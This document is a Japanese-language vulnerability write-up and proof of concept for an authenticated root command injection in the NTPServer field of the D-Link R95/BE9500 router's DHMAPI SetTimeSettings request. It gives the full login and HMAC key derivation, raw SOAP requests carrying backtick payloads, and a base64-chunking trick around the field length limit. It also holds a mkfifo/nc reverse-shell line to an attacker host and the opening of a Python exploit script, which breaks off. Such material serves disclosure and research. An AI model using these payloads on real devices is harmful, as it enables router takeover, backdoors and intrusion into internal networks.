
D-Link R95/BE9500 DHMAPI SetTimeSettings における認証済みコマンドインジェクション PoC。NTPServer のバッククォートインジェクションを介して root RCE を達成し、完全なエクスプロイトスクリプトを備える。
D-Link R95 BE9500 Wi-Fi 7 スマートルーター(ファームウェアバージョン BE9500_1.00.16)には、DHMAPI(SOAP over HTTPS)インターフェースにおいて SetTimeSettings リクエストを処理する際のコマンドインジェクション脆弱性が存在します。ユーザーが制御可能な <NTPServer> フィールドは、シェルメタ文字に対するサニタイズや検証を一切行わずに設定データベースに保存されます。その後、設定が UCI(ntpclient.@ntpserver[0].hostname)に同期される際、脆弱なバックエンドサービスが二重引用符で囲まれたシェルコマンドを構築し、system() に類する呼び出しを通じて実行します。<NTPServer> の値にバッククォート(```)を注入することで、攻撃者はコマンド置換を実現できます。シェルは連結されたコマンドを実行する前に注入された内容を評価するため、**root(uid=0)**権限で任意のコマンドを実行することが可能になります。
この攻撃には、認証済みアクセス(管理者アカウント Admin で検証済み)を通じて取得した有効な Web 管理セッション(sid)が必要です。この脆弱性は、デバイスの脆弱なデフォルト認証情報や潜在的な認証バイパス問題によってさらに増幅され、実世界での攻撃対象領域が大幅に拡大します。
認証済みの攻撃者は root 権限で任意のコマンドを実行でき、デバイスの完全な侵害につながります。これには機密ファイルの読み取り(例:/etc/rg_config/admin の暗号文、完全な設定バックアップのダンプ)、永続的なバックドアの設置、リバースシェルの確立、内部ネットワークへの侵入による横展開攻撃が含まれます。
この脆弱性は、DHMAPI SOAP インターフェースを実装する Web 管理バックエンドバイナリ /bin/ssi(root として実行)に存在します。
汚染源(Taint source) — SetTimeSettings ハンドラ(ファームウェア 1.01B06 の ssi 内オフセット 0x6bd84 の関数):
<NTPServer> フィールドをスタックバッファに抽出します。長さは 0x3f(63 バイト)に制限されていますが、これはバッファサイズの制限であり、セキュリティチェックではありません。time.value.NTPServer に保存します。シェルメタ文字のフィルタリングやエスケープは一切行われません。汚染先(Taint sink) — UCI への設定同期。ssi は設定値をシェルコマンド文字列に連結し、system() に類する呼び出しで実行することで設定を同期します。バイナリ内に埋め込まれたフォーマット文字列には以下が含まれます:
uci set %s="%s" > /dev/null
値が二重引用符で囲まれているため、シェルは連結されたコマンドを実行する前に、値内のバッククォート(`)/ $() に対してコマンド置換を行います。ssi は root として実行されるため、注入されたコマンドは root 権限で実行されます。
タイミングの証拠は、評価がリクエスト処理パス内で同期的に発生することを確認しています。`sleep 10` を注入すると、HTTP レスポンスが約 10 秒遅延します。汚染された値はさらに UCI(ntpclient.@ntpserver[0].hostname)に永続化され、後に /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)によってクォートされずに使用されます。これは二次的なハードニングの欠陥です。
悪用時の制約(検証済み):
| 制約 | 検証結果 |
|---|---|
| フィールド長 | 63 バイト以下を受け付け。60 バイトは OK、80 バイトは拒否(HTTP 400) |
& 文字 | 含めることは不可(連結されたコマンドラインが壊れる) |
| 注入構文 | バッククォート `cmd` を検証済み。$(cmd) も同様に機能すると予想される |
| 実行コンテキスト | uid=0(root) gid=0(root) |
| 出力チャネル | 直接のエコーはなし。Web ルートへリダイレクト(> /www/<file>)し、HTTP GET で取得 |
すべての DHMAPI リクエストには以下を含める必要があります:
Cookie: uid=<session cookie>(ログイン時に取得)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction ヘッダー、および User-Agent と Referer(UA/Referer がない場合は HTTP 400/500 を返す)ts はミリ秒タイムスタンプです。デバイスは鮮度を検証しないため、固定値が再利用可能ですprivkey の導出:
Login / Action=request(静的キー文字列 withoutloginkey で署名)が Challenge、Cookie、PublicKey、SaltHash を返すe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32))(SaltHash が存在しない場合は平文パスワード)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login が <LoginResult>success</LoginResult> を返す。以降のリクエストは privkey で署名した Cookie: uid=<step-1 Cookie> を使用するPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
期待される結果:<LoginResult>success</LoginResult>。

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
観測されたレスポンスボディ:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
HTTP レスポンスが約 10 秒遅延します。無害な NTP サーバー名の場合は即座に応答が返ります。
63 バイトのフィールド制限は、スクリプトを base64 の断片に分けて書き込むことで回避できます:
SetTimeSettings リクエストを繰り返し、それぞれが 1 つの断片を追記:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs の内容(busybox ash ではパイプの前後に必須のスペースがあることに注意):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`結果:攻撃者のリスナー上で対話型の root シェル(~ #、BusyBox ash)が取得されます。
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS